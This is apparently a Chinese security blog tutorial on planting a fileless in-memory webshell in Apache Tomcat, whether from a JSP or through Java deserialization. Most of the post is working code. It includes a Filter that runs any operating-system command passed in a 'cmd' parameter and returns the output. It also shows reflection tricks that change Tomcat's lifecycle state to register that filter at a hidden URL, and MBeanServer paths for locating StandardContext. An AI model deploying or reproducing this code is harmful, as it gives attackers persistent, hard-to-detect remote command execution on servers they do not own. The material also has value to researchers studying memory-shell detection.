简介

从java反序列化命令回显到java内存shell,感谢大佬们的不断研究以及乐于分享~

首先参看这篇文章,里面提到Servlet 3.0+中,支持在ServletContext初始化的时候动态注册Servlet+Filter+Listener,但在我们请求Servlet时其实ServletContext已经初始化过了!

那该如何注入一个java内存shell呢?下面我主要演示的是注入Filter的方式,毕竟这类相对好使

获取StandardContext,修改初始化状态

参看threedr3am大佬的文章中,注入内存shell的部分

首先利用ServletContext遍历出标准上下文对象StandardContext,然后反射修改StandardContext.state的值,然后利用ServletContext.addFilter(动态注册,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.test;

import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;


public class Test extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
ServletContext servletContext = req.getSession().getServletContext();
StandardContext standardContext = null;

//遍历出标准上下文对象
for (; standardContext == null; ) {
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof ServletContext) {
servletContext = (ServletContext) o;
} else if (o instanceof StandardContext) {
standardContext = (StandardContext) o;
}
}

//修改初始化状态
Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

//添加filter马
Filter shell = new Shell();
String filterName = "hahahaha";
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, shell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, "/fajlf2lk3jfalk");

//状态恢复,要不然服务不可用
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

//生效filter
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.invoke(standardContext, null);

// //把filter插到第一位
// FilterMap[] filterMaps = standardContext.findFilterMaps();
// for (int i = 0; i < filterMaps.length; i++) {
// if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
// FilterMap filterMap = filterMaps[i];
// filterMaps[i] = filterMaps[0];
// filterMaps[0] = filterMap;
// break;
// }
// }
} catch (Exception e) {
e.printStackTrace();
}
}
}
class Shell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {
}
}

获取StandardContext,添加FilterMap

参看l1nk3r大佬的文章,先利用StandardContext.addFilterDef(定义一个Filter,添加映射,最后在filterConfigs添加filter配置,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//定义一个filter
Filter filter = new Tomcat8FilterShell();
String name = "hahahaha";
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardCtx.addFilterDef(filterDef);

//添加一个filter映射
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/fjl1lalbjkasdk");
standardCtx.addFilterMapBefore(m);

//添加filter配置
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardCtx, filterDef);

Field field = standardCtx.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap filterConfigs = (HashMap) field.get(standardCtx);
filterConfigs.put(name, filterConfig);

文中也提醒了tomcat7和8中的FilterDef和FilterMap包名是有所不同的~

获取StandardContext

以上情况都基于已经获取到StandardContext的情况,那么从JspShell到内存shell也就基本不是问题了

那么像在java反序列化的情况下如何去获取StandardContext呢?

  • LandGrey大佬的文章中详细列出了在spring中获取WebApplicationContext并注入内存shell的操作,也不难想到各种容器以及项目可能存在不同的获取标准上下文对象的操作
  • kk大佬的文章中,其找到的org.apache.catalina.core.ApplicationDispatcher类,通过反射修改WRAP_SAME_OBJECT=true,并初始化lastServicedRequest和lastServicedResponse为ThreadLocal<>,那么在下次请求即可从中获取到ServletRequest,再进一步就是上面threedr3am大佬的文章中的操作:ServletRequest.getServletContext()获取ServletContext,再遍历获取到StandardContext
  • Litch1大佬的文章中,提到可以利用简单两行代码获取到StandardContext,但tomcat7不适用
    1
    2
    WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
  • 最后是李三大佬的文章中直接到MBeanServer中去找,但是只给到了拿org.apache.coyote.Request的代码,其实顺着给的代码找也可以拿到StandardContext
    1
    Registry.getRegistry(null, null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("name=\"http-nio-8888\",type=GlobalRequestProcessor").object.resource.processors.get(1).req.notes[1].filterChain.filters[0].context
    作为学习者,我自己又另外找了两条
    1
    Registry.getRegistry(null, null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("type=Mapper").object.resource.mapper.contextObjectToContextVersionMap.keySet().toArray()
    1
    Registry.getRegistry(null, null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("host=localhost,type=Host").object.resource.children

    那么在java反序列化中,利用代码大概长这样(以第二条为例)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static {
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);

field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);

field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap)field.get(obj);
obj = ((HashMap)obj2.get("Catalina")).get("host=localhost,type=Host");

field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);

field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
ContainerBase containerBase = (ContainerBase) field.get(obj);

field = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setAccessible(true);
HashMap children = (HashMap) field.get(containerBase);

StandardContext standardContext = (StandardContext) children.get("/cas");

ServletContext servletContext = standardContext.getServletContext();
Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

//添加filter马
Filter shell = new Shell();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("wowowowowo", shell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, "/fajlf2lk3jfalk");
//状态恢复,要不然服务不可用
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

//生效filter
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
}
}

简单看看效果如何

Reference

https://www.anquanke.com/post/id/198886
https://xz.aliyun.com/t/7348
https://xz.aliyun.com/t/7388
https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3
https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
https://xz.aliyun.com/t/7535
https://github.com/threedr3am/ysoserial

宽字节基于Servlet的webshell系列文章
https://forum.90sec.com/t/topic/1162
https://forum.90sec.com/t/topic/1139
https://forum.90sec.com/t/topic/1111
https://forum.90sec.com/t/topic/1136